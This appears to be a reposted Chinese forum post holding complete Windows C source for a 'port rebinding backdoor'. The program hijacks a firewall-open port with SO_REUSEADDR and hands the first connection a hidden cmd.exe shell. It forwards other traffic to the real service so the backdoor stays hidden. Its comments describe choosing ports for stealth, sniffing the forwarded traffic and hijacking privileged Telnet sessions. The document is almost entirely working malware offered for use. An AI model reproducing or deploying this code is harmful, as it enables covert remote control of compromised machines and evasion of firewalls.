信息来源:dahubaobao
端口复用相关资料
复制内容到剪贴板
代码:
/*
***********************************************************
端口重绑定后门工具
原理:通过把端口重绑定到防火墙开放的端口实现穿越防火墙的功能
感谢:wineggdrop(还有一位不知道名字,本程序主干修改自他的代码)
用途:当防火墙BT到连反向连接到封闭时,可以尝试一下这个
留言:其实我也是脚本小子,我只是把两位大虾的代码合并在一齐而已
了,自己写的不过10行。其实还有一个svchost.exe的功能是一样
过我发现那个不好使,所以就写了这个。
***********************************************************
*/
#include "stdafx.h"
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib, "ws2_32.lib")
DWORD WINAPI ClientThread(LPVOID lpParam);//原端口转发
DWORD WINAPI ServerThread(LPVOID lpParam);//CMDSHELL线程,抄写自wineggdrop
unsigned int port=21;//重绑定端口
BOOL Connected;
//************抄写自wineggdrop的代码***************
unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,unsigned int BufferSize)
{
ZeroMemory(Buffer,BufferSize); // Reset The Buffer
if (BufferSize < 2) // Buffer Size Is Less Then 2
{
return 0; // Dump
}
unsigned int CharacterCount = 0;
while(TRUE)
{
if (CharacterCount >= BufferSize) // The Characters Received Is Bigger Or Equal The Buffer Size
{
// Give The Buffer An Enter
Buffer[BufferSize-2] = '\r';
Buffer[BufferSize-1] = '\n';
return CharacterCount; // Return The Characters Received
}
if (recv(ClientSocket,Buffer+CharacterCount,1,0) == SOCKET_ERROR) // Fail To Receive Data
{
return SOCKET_ERROR; // Return Error
}
if (Buffer[CharacterCount] == '\b') // Back Space Detected
{
Buffer[CharacterCount] = '\0'; // Skip It
if (CharacterCount > 0) // Characters Received Is Bigger Than 0
{
CharacterCount--; // Decrease One Character
Buffer[CharacterCount] = '\0';
}
continue; // Begin A New Loop
}
if (Buffer[CharacterCount++] == '\n') // Enter Is Detected
{
return CharacterCount; // Return The Characters Received
}
}
return 0;
}
BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
{
return (send(ClientSocket,Message,strlen(Message),0)!=SOCKET_ERROR);
}
//***********抄写结束*******
int usage(char * appname)
{
printf("%s 端口重绑定后门工具\n"
"使用方法:%s [重绑定端口(可选,默认是80)] \n",appname,appname);
exit(0);
}
int main(int argc, char* argv[])
{
WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;
Connected=FALSE;
if (argc!=1)
port=atoi(argv[1]);
printf("[i]Startup.....\n");
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("[-]WSAStartup failed!\n");
return -1;
}
saddr.sin_family = AF_INET;
//截听虽然也可以将地址指定为INADDR_ANY,
//但是要不能影响正常应用情况下,
//应该指定具体的IP,留下127.0.0.1给正常的服务应用,
//然后利用这个地址进行转发,
//就可以不影响对方正常应用了
printf("[i]Bind.....\n");
//*********以下代码抄写自wineggdrop**********
char FAR name[255];
gethostname(name, 255);//获得主机名
struct hostent FAR * pHostent;
pHostent = (struct hostent * )malloc(sizeof(struct hostent));
pHostent = gethostbyname(name);//获得IP
memcpy(&saddr.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length); //复制IP
//**********抄写结束*************
saddr.sin_port = htons(port);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("[-]socket failed!\n");
return -1;
}
val = TRUE;
//********以下代码修改自......不知道是谁,反正不是我原创的*********
//SO_REUSEADDR选项就是可以实现端口重绑定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("[-]setsockopt failed!\n");
return -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE,
//就不会绑定成功,返回无权限的错误代码;
//如果是想通过重利用端口达到隐藏的目的,
//就可以动态的测试当前已绑定的端口哪个可以成功,
//就说明具备这个漏洞,然后动态利用端口使得更隐蔽
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("[-]bind failed!\n");
return -1;
}
while(1)
{
caddsize = sizeof(scaddr);
//接受连接请求
printf("[+]Listening.....\n");
listen(s,5);
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
printf("[+]Someone connect port %d\n",port);
if(sc!=INVALID_SOCKET)
{
if(Connected)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);//原端口转发
printf("[+]%d -> %d Thread Created!\n",port,port);
}
else
{
mt = CreateThread(NULL,0,ServerThread,(LPVOID)sc,0,&tid);//重定向线程
printf("[+] CMDShell Thread Created!\n");
Connected=TRUE;
}
if(mt==NULL)
{
printf("Thread Creat Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}
DWORD WINAPI ClientThread(LPVOID lpParam)//原端口转发
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;
//如果是隐藏端口应用的话,
//可以在此处加一些判断
//如果是自己的包,就可以进行一些特殊处理,
//不是的话通过127.0.0.1进行转发
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(port);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!\n");
closesocket(sc);
closesocket(ss);
return -1;
}
while(1)
{
//下面的代码主要是实现通过127。0。0。1
//这个地址把包转发到真正的应用上,
//并把应答的包再转发回去。
//如果是嗅探内容的话,
//可以再此处进行内容分析和记录
//如果是攻击如TELNET服务器,
//利用其高权限登陆用户的话,
//可以分析其登陆用户,
//然后利用发送特定的包以劫持的用户身份执行。
num = recv(ss,&(buf[0]),4096,0);
if(num>0)
send(sc,buf,num,0);
else if(num==0)
break;
num = recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return 0 ;
}
DWORD WINAPI ServerThread(LPVOID lpParam)//重定向线程
{
SOCKET ListenSocket = (SOCKET)lpParam;
//**************除上面一句是自己的,下面的都是wineggdrop的代码:)******
char ReceiveBuffer[MAX_PATH + 1]; // The Receive Buffer
char SendBuffer[1024 * 4]; // The Send Buffer
unsigned long OutputLength,InputLength; // The Input And Output Length
// The Pipe And Some Other Sutff
HANDLE ClientReadPipe = NULL;
HANDLE ClientWritePipe = NULL;
HANDLE CmdWritePipe = NULL;
HANDLE CmdReadPipe = NULL;
SECURITY_ATTRIBUTES sa = {0};
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));
if (GetSystemDirectory(ReceiveBuffer,MAX_PATH)) // Get System Directory
{
strcat(ReceiveBuffer,"\\cmd.exe"); // Get The Cmd.exe Full Path
}
else // Fail To Get System Directory
{
SendSocket(ListenSocket,"Fail To Get System Diretory\r\n"); // Display Error Message
return FALSE; // Return
}
// Initize The Stuff
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
memset(&pi,0,sizeof(pi));
if (!CreatePipe(&ClientReadPipe,&CmdWritePipe,&sa,0)) // Fail To Create Client Read Pipe
{
SendSocket(ListenSocket,"Fail To Create Client Read Pipe\r\n"); // Display Error Message
goto CleanUP; // Leave
}
if (!CreatePipe(&CmdReadPipe,&ClientWritePipe,&sa,0)) // Fail To Create Cmd Read Pipe
{
SendSocket(ListenSocket,"Fail To Create CMD Read Pipe\r\n"); // Display Error Message
goto CleanUP; // Leave
}
// Reset And Initize Stuff
memset((void *)&si,0,sizeof(si));
memset((void *)&pi,0,sizeof(pi));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = CmdReadPipe; // Pass The CmdReadPipe To StdInput
si.hStdError = CmdWritePipe; // Pass The CmdWritePipe To StdError
si.hStdOutput = CmdWritePipe; // Pass The CmdWritePipe To StdOutput
if (!CreateProcess(ReceiveBuffer,NULL,NULL,NULL,1,0,NULL, NULL,&si,&pi)) // Fail To Create A Cmd Shell Process
{
SendSocket(ListenSocket,"Fail To Create Process\r\n"); // Display Error Message
goto CleanUP; // Leave
}
while(TRUE) // Shell Commincation Starts Here
{
if (!PeekNamedPipe(ClientReadPipe,SendBuffer,sizeof(SendBuffer),&OutputLength,NULL,NULL)) // Fail To Get Data From The Pipe
{
SendSocket(ListenSocket,"Fail To Peek Name Pipe\r\n"); // Display Error Message
break; // Leave
}
if (OutputLength > 0) // Get Data From The Pipe Successfully
{
ZeroMemory(SendBuffer,sizeof(SendBuffer)); // Reset The Send Buffer
if (!ReadFile(ClientReadPipe,SendBuffer,OutputLength,&OutputLength,0)) //Fail To Read The Data
{
SendSocket(ListenSocket,"Fail To Read File\r\n"); // Display Error Message
break; // Leave
}
if (send(ListenSocket,SendBuffer,OutputLength,0) == SOCKET_ERROR) // Fail To Send The Data
{
printf("Fail To Send Buffer\n"); // Display Error Message
break; // Leave
}
}
else
{
ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer)); // Reset Receive Buffer
InputLength = ReceiveMessageFromSocket(ListenSocket, ReceiveBuffer, sizeof(ReceiveBuffer)); // Receive Input From Client
if (InputLength == SOCKET_ERROR) // Fail To Receive Data
{
printf("Fail To Receive Buffer\n"); // Display Error Message
break; // Leave
}
if (!WriteFile(ClientWritePipe,ReceiveBuffer,InputLength,&InputLength,0)) // Fail To Write The Received Data To The Pipe
{
printf("Fail To Write File\n"); // Display Error Message
break; // Leave
}
// Leave The Shell
if (strnicmp((char*)ReceiveBuffer, "exit\r\n", 6) == 0 || strnicmp((char*)ReceiveBuffer, "exit\r", 5)==0 || strnicmp((char*)ReceiveBuffer, "exit\n", 5)==0)
break;
}
}
// Clean All Resource Allocated
CleanUP:
if (CmdReadPipe != NULL)
CloseHandle(CmdReadPipe);
if (CmdWritePipe != NULL)
CloseHandle(CmdWritePipe);
if (ClientReadPipe != NULL)
CloseHandle(ClientReadPipe);
if (ClientWritePipe)
CloseHandle(ClientWritePipe);
Connected=FALSE;
return 0;
}